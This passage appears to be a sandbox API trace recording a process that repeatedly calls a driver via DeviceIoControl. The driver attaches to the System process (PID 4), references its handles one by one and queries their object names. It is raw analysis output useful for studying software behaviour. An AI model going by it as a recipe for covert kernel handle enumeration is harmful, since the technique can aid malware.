IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.343] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.343] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.343] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x2e, lpOverlapped=0x0) returned 1 [0089.343] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.343] PsAcquireProcessExitSynchronization () returned 0x0 [0089.343] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.343] ObReferenceObjectByHandle (in: Handle=0xffffffff800004d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f95050, HandleInformation=0x0) returned 0x0 [0089.343] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.343] PsReleaseProcessExitSynchronization () returned 0x2 [0089.343] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.343] ObQueryNameString (in: Object=0xfffffa8002f95050, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.343] ObfDereferenceObject (Object=0xfffffa8002f95050) returned 0x2 [0089.343] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.343] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.343] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.343] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.343] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.343] PsAcquireProcessExitSynchronization () returned 0x0 [0089.343] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.343] ObReferenceObjectByHandle (in: Handle=0xffffffff800004f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003097ab0, HandleInformation=0x0) returned 0x0 [0089.343] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.343] PsReleaseProcessExitSynchronization () returned 0x2 [0089.343] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.343] ObQueryNameString (in: Object=0xfffffa8003097ab0, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.343] ObfDereferenceObject (Object=0xfffffa8003097ab0) returned 0x2 [0089.343] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.343] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.343] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.343] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x98, lpOverlapped=0x0) returned 1 [0089.344] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.344] PsAcquireProcessExitSynchronization () returned 0x0 [0089.344] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.344] ObReferenceObjectByHandle (in: Handle=0xffffffff800004f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8011864580, HandleInformation=0x0) returned 0x0 [0089.344] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.344] PsReleaseProcessExitSynchronization () returned 0x2 [0089.344] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.344] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800207b044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800207b044, ReturnLength=0xfffff88005233508) returned 0x0 [0089.344] ObfDereferenceObject (Object=0xfffffa8011864580) returned 0x1 [0089.344] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.344] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.344] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.344] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.344] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.344] PsAcquireProcessExitSynchronization () returned 0x0 [0089.344] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.344] ObReferenceObjectByHandle (in: Handle=0xffffffff800004fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800214ac80, HandleInformation=0x0) returned 0x0 [0089.344] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.344] PsReleaseProcessExitSynchronization () returned 0x2 [0089.344] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.344] ObQueryNameString (in: Object=0xfffffa800214ac80, ObjectNameInfo=0xfffffa8003a81044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a81044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.344] ObfDereferenceObject (Object=0xfffffa800214ac80) returned 0x2 [0089.344] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.344] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.344] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.344] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.344] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.344] PsAcquireProcessExitSynchronization () returned 0x0 [0089.344] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.344] ObReferenceObjectByHandle (in: Handle=0xffffffff80000500, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80022f8700, HandleInformation=0x0) returned 0x0 [0089.344] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.344] PsReleaseProcessExitSynchronization () returned 0x2 [0089.344] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.344] ObQueryNameString (in: Object=0xfffffa80022f8700, ObjectNameInfo=0xfffffa800398b044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800398b044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.345] ObfDereferenceObject (Object=0xfffffa80022f8700) returned 0x2 [0089.345] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.345] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.345] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.345] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.345] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.345] PsAcquireProcessExitSynchronization () returned 0x0 [0089.345] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.345] ObReferenceObjectByHandle (in: Handle=0xffffffff80000508, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002149bd0, HandleInformation=0x0) returned 0x0 [0089.345] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.345] PsReleaseProcessExitSynchronization () returned 0x2 [0089.345] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.345] ObQueryNameString (in: Object=0xfffffa8002149bd0, ObjectNameInfo=0xfffffa8003a25044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a25044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.345] ObfDereferenceObject (Object=0xfffffa8002149bd0) returned 0x2 [0089.345] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.345] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.345] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.345] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.345] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.345] PsAcquireProcessExitSynchronization () returned 0x0 [0089.345] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.345] ObReferenceObjectByHandle (in: Handle=0xffffffff8000051c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002491050, HandleInformation=0x0) returned 0x0 [0089.345] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.345] PsReleaseProcessExitSynchronization () returned 0x2 [0089.345] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.345] ObQueryNameString (in: Object=0xfffffa8002491050, ObjectNameInfo=0xfffffa8003a24044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a24044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.345] ObfDereferenceObject (Object=0xfffffa8002491050) returned 0x2 [0089.345] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.345] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.346] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.346] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.346] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.346] PsAcquireProcessExitSynchronization () returned 0x0 [0089.346] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.346] ObReferenceObjectByHandle (in: Handle=0xffffffff80000528, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002135af0, HandleInformation=0x0) returned 0x0 [0089.346] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.346] PsReleaseProcessExitSynchronization () returned 0x2 [0089.346] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.346] ObQueryNameString (in: Object=0xfffffa8002135af0, ObjectNameInfo=0xfffffa8003a23044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a23044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.346] ObfDereferenceObject (Object=0xfffffa8002135af0) returned 0x2 [0089.346] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.346] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.346] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.346] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.346] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.346] PsAcquireProcessExitSynchronization () returned 0x0 [0089.346] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.346] ObReferenceObjectByHandle (in: Handle=0xffffffff8000052c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002511ad0, HandleInformation=0x0) returned 0x0 [0089.346] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.346] PsReleaseProcessExitSynchronization () returned 0x2 [0089.346] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.346] ObQueryNameString (in: Object=0xfffffa8002511ad0, ObjectNameInfo=0xfffffa8003a22044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a22044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.346] ObfDereferenceObject (Object=0xfffffa8002511ad0) returned 0x2 [0089.346] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.346] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.346] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.346] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.346] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.346] PsAcquireProcessExitSynchronization () returned 0x0 [0089.346] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.346] ObReferenceObjectByHandle (in: Handle=0xffffffff80000530, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80033f9f20, HandleInformation=0x0) returned 0x0 [0089.346] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.346] PsReleaseProcessExitSynchronization () returned 0x2 [0089.346] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.346] ObQueryNameString (in: Object=0xfffffa80033f9f20, ObjectNameInfo=0xfffffa8003a80044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a80044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.347] ObfDereferenceObject (Object=0xfffffa80033f9f20) returned 0x2 [0089.347] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.347] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.347] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.347] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.347] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.347] PsAcquireProcessExitSynchronization () returned 0x0 [0089.347] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.347] ObReferenceObjectByHandle (in: Handle=0xffffffff80000534, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800358df20, HandleInformation=0x0) returned 0x0 [0089.347] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.347] PsReleaseProcessExitSynchronization () returned 0x2 [0089.347] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.347] ObQueryNameString (in: Object=0xfffffa800358df20, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.347] ObfDereferenceObject (Object=0xfffffa800358df20) returned 0x2 [0089.347] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.347] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.347] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.347] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.347] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.347] PsAcquireProcessExitSynchronization () returned 0x0 [0089.347] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.347] ObReferenceObjectByHandle (in: Handle=0xffffffff80000538, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80022b2960, HandleInformation=0x0) returned 0x0 [0089.347] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.347] PsReleaseProcessExitSynchronization () returned 0x2 [0089.347] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.347] ObQueryNameString (in: Object=0xfffffa80022b2960, ObjectNameInfo=0xfffffa8003a26044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a26044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.347] ObfDereferenceObject (Object=0xfffffa80022b2960) returned 0x2 [0089.347] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.347] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.347] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.347] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.347] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.347] PsAcquireProcessExitSynchronization () returned 0x0 [0089.347] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.347] ObReferenceObjectByHandle (in: Handle=0xffffffff8000053c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003429680, HandleInformation=0x0) returned 0x0 [0089.348] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.348] PsReleaseProcessExitSynchronization () returned 0x2 [0089.348] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.348] ObQueryNameString (in: Object=0xfffffa8003429680, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a29044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.348] ObfDereferenceObject (Object=0xfffffa8003429680) returned 0x2 [0089.348] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.348] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.348] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.348] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.348] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.348] PsAcquireProcessExitSynchronization () returned 0x0 [0089.348] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.348] ObReferenceObjectByHandle (in: Handle=0xffffffff80000540, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800b97cf20, HandleInformation=0x0) returned 0x0 [0089.348] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.348] PsReleaseProcessExitSynchronization () returned 0x2 [0089.348] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.348] ObQueryNameString (in: Object=0xfffffa800b97cf20, ObjectNameInfo=0xfffffa8003a6e044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a6e044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.348] ObfDereferenceObject (Object=0xfffffa800b97cf20) returned 0x2 [0089.348] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.348] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.348] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.348] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.348] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.348] PsAcquireProcessExitSynchronization () returned 0x0 [0089.348] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.348] ObReferenceObjectByHandle (in: Handle=0xffffffff80000544, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80029498a0, HandleInformation=0x0) returned 0x0 [0089.348] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.348] PsReleaseProcessExitSynchronization () returned 0x2 [0089.348] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.348] ObQueryNameString (in: Object=0xfffffa80029498a0, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.348] ObfDereferenceObject (Object=0xfffffa80029498a0) returned 0x2 [0089.348] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.348] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.348] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.348] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.348] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.348] PsAcquireProcessExitSynchronization () returned 0x0 [0089.349] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, 